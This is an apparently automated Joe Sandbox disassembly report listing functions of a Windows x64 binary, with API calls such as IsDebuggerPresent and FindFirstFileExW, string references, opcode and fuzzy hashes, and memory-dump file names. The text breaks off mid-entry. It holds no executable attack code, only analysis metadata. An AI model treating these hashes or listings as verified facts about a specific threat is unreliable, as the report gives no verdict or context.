API String ID: 2920928814-2573406579
Opcode ID: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction ID: fa487e82a4bae243a9e84390770e6a6b5f70d9a669993f8f4712bec1a2e44dba
Opcode Fuzzy Hash: 8b0166d5a5045c769a8e77ad43af0852bc728ff9b5502801be361ecb61f6b2fa
Instruction Fuzzy Hash: F6219073A39A4682F760AB58F840266E261BF58389FC40035E54D826B8EF7CE105C720

Function 00007FF77B1EB69C Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF77B1EB6B8
RtlCaptureContext.KERNEL32 ref: 00007FF77B1EB6E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF77B1EB6FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF77B1EB740
IsDebuggerPresent.KERNEL32 ref: 00007FF77B1EB794
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF77B1EB7B5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF77B1EB7C0

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction ID: 5f4434567d5ae294cdcbf11875305fdc0ac9ef93bff958808197b8d7e4bd8f0c
Opcode Fuzzy Hash: 24fff5600ca101af0e2334446d678d156eb325a0e0e0c0538aba544f51e330ab
Instruction Fuzzy Hash: 24313473629A8186EB60DFA4E8803EDB364FB45749F844539DA4D47AA8DF3CD548C720

Function 00007FF77B1F9AE4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF77B1F9B5D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF77B1F9B75
RtlVirtualUnwind.KERNEL32 ref: 00007FF77B1F9BB0
IsDebuggerPresent.KERNEL32 ref: 00007FF77B1F9BE9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF77B1F9BF3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF77B1F9BFE

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction ID: 5d86fa0d3f94c24732dfce9ade4f85f3828f185a9cdba492a4fbc1ee526fad93
Opcode Fuzzy Hash: 4204087c2144b4154cc610f07160e172692864cccd6c23e577d201b1c5d7dbdf
Instruction Fuzzy Hash: A0318333639B8186D760DF29E8402AEB3A4FB89798F900135EA8D43B68DF3CD145C710

Function 00007FF77B2009B4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B200A00
FindFirstFileExW.KERNEL32 ref: 00007FF77B200B0A

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 1a8060551746b007c23963201f19a9fa9ddec40a19b74045b76b4ab8f762ca91
Instruction ID: 80afe8bfcf10d5899b4a70310b642233d26032e0cf5da9cd4b642f173d301a48
Opcode Fuzzy Hash: 1a8060551746b007c23963201f19a9fa9ddec40a19b74045b76b4ab8f762ca91
Instruction Fuzzy Hash: 58B1A733B3A69A41FA61BB29D4005BAE351EB44BE4F844132EE5D47BADDE3CE441C320

Function 00007FF77B202D30 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF77B202D96
memcpy_s.LIBCPMT ref: 00007FF77B202DC1

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 51dbff1b5d7937a2a2a0c0085967c3e91387ce89790e2e0faf02be48ef5ed499
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: E1C1E473B3E28687E7249F19A14866AF7A1F798B84F848135DB4E43758DB3DE801CB40

Function 00007FF77B208B68 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF77B208DB7
RaiseException.KERNEL32 ref: 00007FF77B208DC8

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 34bf4ba4d1f77b159a602f4f3a79dc58b46c4397abc6f90fe1b78d3c276b8e03
Instruction ID: 9bc12f7b70ae3a3274abc6d8e4de628a2218964b1540e2c7f26591a948a7195c
Opcode Fuzzy Hash: 34bf4ba4d1f77b159a602f4f3a79dc58b46c4397abc6f90fe1b78d3c276b8e03
Instruction Fuzzy Hash: 91B15873621B888BEB19CF2DC84A369BBA0F784B48F548921DA5D877B8CF39D451C710

Function 00007FF77B1E7820 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF77B1E7851
FindClose.KERNEL32 ref: 00007FF77B1E7860

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b154a429360a9d8fc422caeeb97d2d39407f5ca637504bf6a4efef03296319f0
Instruction ID: 99b56adfb09f4327884cb1925db68a8d800ebaf3c95f13b7bf85251e7ba07fe3
Opcode Fuzzy Hash: b154a429360a9d8fc422caeeb97d2d39407f5ca637504bf6a4efef03296319f0
Instruction Fuzzy Hash: 41F08133A3968587F7A09FA8B484766F390BB94769F800335D66D026E8DF3CD019CB10

Function 00007FF77B1F2C04 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF77B1F2FB4
, xrefs: 00007FF77B1F2D72

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 2d8c388a4af4e59f7aa018185c24a80b808f927c20487c79df8fa8b9671cd73b
Instruction ID: a6b06019733d7347072f9c3cd0ea82b570941def2a3e2eb5549b66d8865486f4
Opcode Fuzzy Hash: 2d8c388a4af4e59f7aa018185c24a80b808f927c20487c79df8fa8b9671cd73b
Instruction Fuzzy Hash: 01E1C67393A64649EB68AB2DA050179B3A0FF45B4CFA40175EB4E477B8CF29F841C790

Function 00007FF77B1FD098 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF77B1FD222
e+000, xrefs: 00007FF77B1FD1A5

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: e8ad3313ac50deca76865dcff50c63e8317fb702a62c77948e89599ff08dba86
Instruction ID: 7b5369e4cb0d629230950c4006d467e7aced28ae52958e24fe2eb411b977a999
Opcode Fuzzy Hash: e8ad3313ac50deca76865dcff50c63e8317fb702a62c77948e89599ff08dba86
Instruction Fuzzy Hash: 94515B73B3D2C58AE7249A39A940779E791E784B98F888231CB5847AE9CF3DE441C710

Function 00007FF77B1FFA08 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 3dd89506066c6ffdf0f12fb75a986cd17193a66726dd75fee6c51e450970bbea
Instruction ID: 91024c03ab42c06cd3f73243b204428730a7fdfbef45fbc195d625e523f7ae95
Opcode Fuzzy Hash: 3dd89506066c6ffdf0f12fb75a986cd17193a66726dd75fee6c51e450970bbea
Instruction Fuzzy Hash: 1B02AC33A3F64648FA64BB19A4112B9A381AF41B98FC54635DE5D863FADE7CF441C320

Function 00007FF77B1FCC04 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF77B1FCF46

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction ID: d7bf840abecc6d404fa37f11b044640219207d83e93d597d15aece85f1b64f79
Opcode Fuzzy Hash: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction Fuzzy Hash: 88A14773B2A7864AEB21DB29A4007ADBB91EB51BC8F448431DF4D877A9DA3DE401D710

Function 00007FF77B1F6F98 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF77B1F6FB7

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: a95fe7b9809f20d24c45d18936c36fa2317ccb405fffb6bad0c56651588825d4
Instruction ID: 04cf2a5a53617479a909593fae644a8a236f614388bc1a060834d47f56532006
Opcode Fuzzy Hash: a95fe7b9809f20d24c45d18936c36fa2317ccb405fffb6bad0c56651588825d4
Instruction Fuzzy Hash: E8519333B3A64245FA54BA2E69115BAD2916F85BC8F884434EF0D477BAEE3CF445C360

Function 00007FF77B2025A0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF77B2025A4

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 6aaf01db4fcd6d8e5e92a2165bcca8bef3bc9097c29bcaeff3790f5a52787e5b
Instruction ID: 0bcca32cdbaca54e7117222859b239a92c2861ea22ee1b36e6e18c4e8ba26adb
Opcode Fuzzy Hash: 6aaf01db4fcd6d8e5e92a2165bcca8bef3bc9097c29bcaeff3790f5a52787e5b
Instruction Fuzzy Hash: CEB09232E37A06D2EA483B296C82254A3A47F48740FE90138C00C80334DF2C20AA5720

Function 00007FF77B1F2800 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b0f885fc535c3a242e303a59ba9c626026de2633fd245c18c7096fc28f432
Instruction ID: d82ba415eab61fbd8db2d4afb941a78b08990a965046dd9985f0c229fe06d61a
Opcode Fuzzy Hash: 720b0f885fc535c3a242e303a59ba9c626026de2633fd245c18c7096fc28f432
Instruction Fuzzy Hash: DCD1C833A3A65649E7689E2DA45027DA3A0FB45B4CF944175EF0D476BCCF29F441C3A0

Function 00007FF77B1E80A0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b4879d951165098d7d9ad8dfdbe188c5f26750c92d05a39af3c572e9b4c9ce
Instruction ID: 2a47035a98b8c64e0d71fe45e719e6974035563cc872fd9c2ead595b0a74cad2
Opcode Fuzzy Hash: 25b4879d951165098d7d9ad8dfdbe188c5f26750c92d05a39af3c572e9b4c9ce
Instruction Fuzzy Hash: 35C184731241E08BE289EB29E46947EB791F78934EBD4403BEB8747B89C63CA514D760

Function 00007FF77B1F1E70 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3511ad376341763adbf03eaa1481790c1cd7a3e825f7d6c297581565e8b6740f
Instruction ID: 0c612f79c7ab45ae3a5dc1f4605b275b580fb0fa43c71891ac8449e9e018e3a6
Opcode Fuzzy Hash: 3511ad376341763adbf03eaa1481790c1cd7a3e825f7d6c297581565e8b6740f
Instruction Fuzzy Hash: 7AB1AC73A3AA4589E764AF2DE05023CBBA0E745B4CFA40175EB4E433A9CF39E445C764

Function 00007FF77B1FD718 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b482d32cf4439f597672c93949c919f143e2d798b80af63496daf47fa9f459cc
Instruction ID: 928d92088efecd2e939eab77200f629a1aaf6dadeb558aea75ae5c61ce672714
Opcode Fuzzy Hash: b482d32cf4439f597672c93949c919f143e2d798b80af63496daf47fa9f459cc
Instruction Fuzzy Hash: 3081C173A3968189EB64EF1DA440379B690FB85798F944235DB9E47BADCE3CE401CB10

Function 00007FF77B205820 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 093da9d804f6d3f0dcf011766d3ac1044083a14a82be884a6ec622c588f21297
Instruction ID: ae7aa4464543864eecff3b4bf79bc5d7cf50e74fdc3cb05104af4c7b12c84f2e
Opcode Fuzzy Hash: 093da9d804f6d3f0dcf011766d3ac1044083a14a82be884a6ec622c588f21297
Instruction Fuzzy Hash: CE61F833E3E29646FB24AA2C94D4379E681BF40370F940636DB1E466FDDE6DE8409760

Function 00007FF77B1F13C4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction ID: 070d81b80c25371e50c39b18281f51dccb2f4732ef7105336a2e2af4b6a7564d
Opcode Fuzzy Hash: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction Fuzzy Hash: C3518277A396518AE7249B2DE040238B3A0EB85B6CF654135CF4D177B8CB3AF862C750

Function 00007FF77B1F0BA4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction ID: 646b0f14edb733b24022a253c634127c149a470dcdc1a21090f5a2362be36aa4
Opcode Fuzzy Hash: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction Fuzzy Hash: 64518277A396518AE7249F2DE048228A7A0EB45B5CF645132CF4D477A9CB3AF842C750

Function 00007FF77B1F0FB4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
